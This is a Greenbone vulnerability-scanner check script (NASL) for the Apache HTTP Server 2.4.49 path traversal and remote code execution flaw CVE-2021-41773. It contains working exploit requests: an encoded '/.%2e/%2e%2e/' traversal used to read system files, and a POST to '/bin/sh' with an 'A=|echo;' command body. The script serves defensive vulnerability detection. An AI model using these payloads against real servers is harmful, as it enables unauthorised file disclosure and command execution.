Apache HTTP Server 2.4.49 Directory Traversal / RCE Vulnerability - Active Check

# SPDX-FileCopyrightText: 2021 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:apache:http_server";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.146844");
  script_version("2026-02-18T05:57:21+0000");
  script_tag(name:"last_modification", value:"2026-02-18 05:57:21 +0000 (Wed, 18 Feb 2026)");
  script_tag(name:"creation_date", value:"2021-10-06 08:16:20 +0000 (Wed, 06 Oct 2021)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:N/A:N");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2026-02-17 19:49:26 +0000 (Tue, 17 Feb 2026)");

  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_cve_id("CVE-2021-41773");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Apache HTTP Server 2.4.49 Directory Traversal / RCE Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2021 Greenbone AG");
  script_family("Web Servers");
  script_dependencies("gb_apache_http_server_consolidation.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "os_detection.nasl");
  script_mandatory_keys("apache/http_server/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"Apache HTTP Server is prone to a directory traversal
  and a possible remote code execution (RCE) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP GET/POST requests and checks the
  responses.");

  script_tag(name:"insight", value:"An attacker could use a path traversal attack to map URLs to
  files outside the expected document root.

  If files outside of the document root are not protected by 'require all denied' these requests
  can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts.

  Note: If 'mod_cgi' is enabled this flaw can be also be used by an attacker to achieve remote code
  execution (RCE).");

  script_tag(name:"affected", value:"Apache HTTP Server version 2.4.49.");

  script_tag(name:"solution", value:"Update to version 2.4.50 or later.");

  script_xref(name:"URL", value:"https://httpd.apache.org/security/vulnerabilities_24.html");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
  exit(0);

files = traversal_files();
cmds = exploit_commands();

foreach dir (make_list_unique("/", "/cgi-bin", "/icons", http_cgi_dirs(port: port))) {

  if (dir == "/")
    dir = "";

  foreach pattern (keys(files)) {
    url = dir + "/.%2e/" + crap(length: 7 * 6, data: "%2e%2e/") + files[pattern];

    req = http_get(port: port, item: url);
    res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

    if (egrep(pattern: pattern, string: res)) {
      report = 'It was possible to read "' + files[pattern] + '" through ' +
               http_report_vuln_url(port: port, url: url, url_only: TRUE) + '\n\nResult:\n\n' + res;
      security_message(port: port, data: report);
      exit(0);
    }
  }

  if (os_host_runs("Windows") != "yes") {
    url = dir + "/.%2e/" + crap(length: 7 * 6, data: "%2e%2e/") + "bin/sh";

    foreach pattern (keys(cmds)) {
      data = "A=|echo;" + cmds[pattern];

      req = http_post(port: port, item: url, data: data);
      res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

      if (egrep(pattern: pattern, string: res)) {
        info['HTTP Method'] = "POST";
        info['Affected URL'] = http_report_vuln_url(port: port, url: url, url_only: TRUE);
        info['HTTP "POST" body'] = data;

        report  = 'By doing the following HTTP request:\n\n';
        report += text_format_table(array: info) + '\n\n';
        report += 'it was possible to execute the "' + cmds[pattern] + '" command on the target host.';
        report += '\n\nResult:\n\n' + res;
        expert_info = 'Request:\n\n' + req + '\n\nResponse:\n\n' + res;
        security_message(port: port, data: report, expert_info: expert_info);
        exit(0);
      }
    }
  }
}

exit(0);